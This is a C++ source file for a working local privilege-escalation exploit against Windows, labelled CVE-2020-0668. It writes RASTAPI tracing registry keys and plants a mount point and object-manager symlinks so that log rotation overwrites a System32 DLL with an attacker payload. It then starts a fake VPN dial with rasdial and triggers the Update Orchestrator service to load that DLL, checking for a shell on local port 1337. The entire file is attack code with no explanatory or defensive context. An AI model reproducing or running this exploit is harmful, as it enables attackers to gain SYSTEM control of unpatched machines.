// CVE-2020-0668.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

// Steps:

// 1. Set registry values for Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASTAPI - DONE
	// EnableFileTracing = 0x01
	// FileDirectory = Path to controllable directory
	// MaxFileSize = 0x8000 (32768) 
// 2. Create mount point to controllable path to "RPC Control" - DONE
// 3. Create symlink to "\RPC Control\RASTAPI.LOG" -> "C:\controllablepath\payload.dll" - DONE
// 4. Create symlink to "\RPC Control\RASTAPI.OLD" "C:\controllablepath\victim.dll" - DONE
// 5. Start rasdial VPNTEST test test /PHONEBOOK:test.pbk - DONE
// 6. Trigger dll hijack - DONE
// 7. Check if service is running first - DONE

#include <iostream>
#include <Windows.h>
#include <string>
#include <fstream>
#include "CommonUtils/CommonUtils.h"
#include "CommonUtils/ReparsePoint.h"
#include "CommonUtils/FileSymlink.h"
#include "MiniUsoClient.h";
#include "TcpClient.h"

#pragma comment(lib, "../Release/CommonUtils.lib")

LPCWSTR MOUNTPATH = L"C:\\EXPLOIT\\MOUNTPOINT";
LPCWSTR ATTACKDLLPATH = L"C:\\EXPLOIT\\payload.dll";
LPCWSTR VICTIMDLLPATH = L"C:\\Windows\\System32\\windowscoredeviceinfo.dll";
#define TEMPO 2000

BOOL QueryDriver()
{
	printf("[*] Querying RasMan Service\n");

	SC_HANDLE theService, scm;
	SERVICE_STATUS m_SERVICE_STATUS;
	SERVICE_STATUS_PROCESS ssStatus;
	DWORD dwBytesNeeded;

	scm = OpenSCManager(nullptr, nullptr, SC_MANAGER_ENUMERATE_SERVICE);

	if (!scm)
	{
		printf("[!] Error: Could not open service manager");

		return true;
	}

	theService = OpenService(scm, L"RasMan", SERVICE_QUERY_STATUS);

	if (!theService)
	{
		CloseServiceHandle(scm);
		return 0;
	}

	auto result = QueryServiceStatusEx(theService, SC_STATUS_PROCESS_INFO, reinterpret_cast<LPBYTE>(&ssStatus), sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded);

	CloseServiceHandle(theService);
	CloseServiceHandle(scm);

	if (result == 0)
	{
		printf("[!] Error: Could not query service");
		
		return true;
	}

	if (ssStatus.dwCurrentState == 4)
	{
		printf("[*] RasMan Service Status: Started\n");
		printf("[*] Reboot and try again\n");
		printf("[*] Exiting Exploit");

		return true;
	}
	else if (ssStatus.dwCurrentState == 1)
	{
		printf("[*] RasMan Service Status: Stopped\n");
		printf("[*] Continuing Exploit\n");

		return false;
	}

	return true;
}

void EnableTracing()
{
	printf("[*] Enabling RASTAPI File Tracing\n");

	HKEY hKey;
	LONG result;
	DWORD value = 0x01;

	result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Tracing\\RASTAPI", 0, KEY_WRITE | KEY_WOW64_64KEY, &hKey);

	if (result == ERROR_SUCCESS)
	{
		RegSetValueEx(hKey, TEXT("EnableFileTracing"), NULL, REG_DWORD, (CONST BYTE*) & value, sizeof(value));
		RegCloseKey(hKey);
	}
}

void SetFileDir()
{
	printf("[*] Setting RASTAPI FileDirectory\n");

	HKEY hKey;
	LONG result;
	std::wstring value = MOUNTPATH;

	result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Tracing\\RASTAPI", 0, KEY_WRITE | KEY_WOW64_64KEY, &hKey);

	if (result == ERROR_SUCCESS)
	{

		RegSetValueEx(hKey, TEXT("FileDirectory"), NULL, REG_EXPAND_SZ, (const BYTE*)value.c_str(), (value.size() + 1) * sizeof(wchar_t));
		RegCloseKey(hKey);
	}
}

void SetFileSize()
{
	printf("[*] Setting RASTAPI MaxFileSize\n");

	HKEY hKey;
	LONG result;
	DWORD value = 0x8000;

	result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Tracing\\RASTAPI", 0, KEY_WRITE | KEY_WOW64_64KEY, &hKey);

	if (result == ERROR_SUCCESS)
	{
		RegSetValueEx(hKey, TEXT("MaxFileSize"), NULL, REG_DWORD, (CONST BYTE*) & value, sizeof(value));
		RegCloseKey(hKey);
	}
}

int SetupMount()
{
	printf("[*] Setting Mount Point\n");

	LPCWSTR mountPath = MOUNTPATH;

	if (CreateDirectory(mountPath, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
	{
		if (!ReparsePoint::CreateMountPoint(mountPath, L"\\RPC Control", L""))
		{
			printf("[!] Error creating mount point - %ls\n", GetErrorMessage().c_str());
		}
	}
	else
	{
		printf("[!] Error creating directory - %ls\n", GetErrorMessage().c_str());
	}

	return 0;
}

DWORD WINAPI CreateSymlink1(void* data)
{
	LPCWSTR logPath = L"\\RPC Control\\RASTAPI.LOG";
	LPCWSTR attackPath = ATTACKDLLPATH;
	LPCWSTR baseobjdir = nullptr;
	bool permanent = false;

	FileSymlink sl(permanent);

	if (sl.CreateSymlink(logPath, attackPath, baseobjdir))
	{
		if (!permanent)
		{
			getc(stdin);
		}
	}
	else
	{
		return 1;
	}
}

DWORD WINAPI CreateSymlink2(void* data)
{
	LPCWSTR logPath = L"\\RPC Control\\RASTAPI.OLD";
	LPCWSTR attackPath = VICTIMDLLPATH;
	LPCWSTR baseobjdir = nullptr;
	bool permanent = false;

	FileSymlink sl(permanent);

	if (sl.CreateSymlink(logPath, attackPath, baseobjdir))
	{
		if (!permanent)
		{
			getc(stdin);
		}
	}
	else
	{
		return 1;
	}
}

void WritePbk()
{
	printf("[*] Creating vpn.pbk\n");

	std::fstream pbk("vpn.pbk", std::fstream::in | std::fstream::out | std::fstream::trunc);
	pbk << "[VPN]\n";
	pbk << "MEDIA=rastapi\n";
	pbk << "Port=VPN2 - 0\n";
	pbk << "Device=WAN Miniport(IKEv2)\n";
	pbk << "DEVICE=vpn\n";
	pbk << "PhoneNumber=us.test.com\n";
	pbk.close();
}

void StartVPN()
{
	WritePbk();

	printf("[*] Starting Fake VPN Connection\n");

	STARTUPINFOW process_startup_info{ 0 };
	process_startup_info.cb = sizeof(process_startup_info); 
	PROCESS_INFORMATION process_info{ 0 };
	wchar_t commandline_args[] = L"rasdial VPN test test /PHONEBOOK:vpn.pbk";

	if (CreateProcessW(NULL, commandline_args, NULL, NULL, TRUE, 0, NULL, NULL, &process_startup_info, &process_info))
	{
		WaitForSingleObject(process_info.hProcess, INFINITE); 
		CloseHandle(process_info.hProcess);
		CloseHandle(process_info.hThread);
	}
}

int TriggerHijack()
{
	printf("[*] Attempting DLL Hijack\n");

	TcpClient tcpClient;
	int iRes = 0;

	wprintf_s(L"[*] Using UpdateOrchestrator->StartScan()\n");
	MiniUsoClient miniUsoClient;
	if (!miniUsoClient.Run(USO_STARTSCAN))
	{
		return 1;
	}
		
	Sleep(TEMPO);

	iRes = tcpClient.connectTCP("127.0.0.1", "1337");

	if (iRes != 0)
	{
		wprintf_s(L"[*] Retrying with UpdateOrchestrator->StartInteractiveScan()\n");
		if (!miniUsoClient.Run(USO_STARTINTERACTIVESCAN))
		{
			return 2;
		}
			
		Sleep(TEMPO);

		iRes = tcpClient.connectTCP("127.0.0.1", "1337");
	}

	if (iRes != 0)
	{
		wprintf_s(L"[*] Retrying with UpdateOrchestrator->StartDownload()\n");
		if (!miniUsoClient.Run(USO_STARTDOWNLOAD))
		{
			return 3;
		}
			
		Sleep(TEMPO);

		iRes = tcpClient.connectTCP("127.0.0.1", "1337");
	}

	if (iRes != 0)
	{
		wprintf_s(L"[!] Exploit Failed");
	}
	else
	{
		wprintf_s(L"[*] Exploit Successfull");
	}

	return 0;
}

int main()
{
	if (!QueryDriver())
	{
		EnableTracing();
		SetFileDir();
		SetFileSize();
		SetupMount();

		printf("[*] Creating Symlinks\n");

		HANDLE thread1 = CreateThread(NULL, 0, CreateSymlink1, NULL, 0, NULL);
		Sleep(500);
		HANDLE thread2 = CreateThread(NULL, 0, CreateSymlink2, NULL, 0, NULL);
		bool stopFlag = false;

		if (thread1 && thread2)
		{
			Sleep(500);
			StartVPN();
			TriggerHijack();
			stopFlag = true;

			while (!stopFlag)
			{
				;
			}

		}
	}
}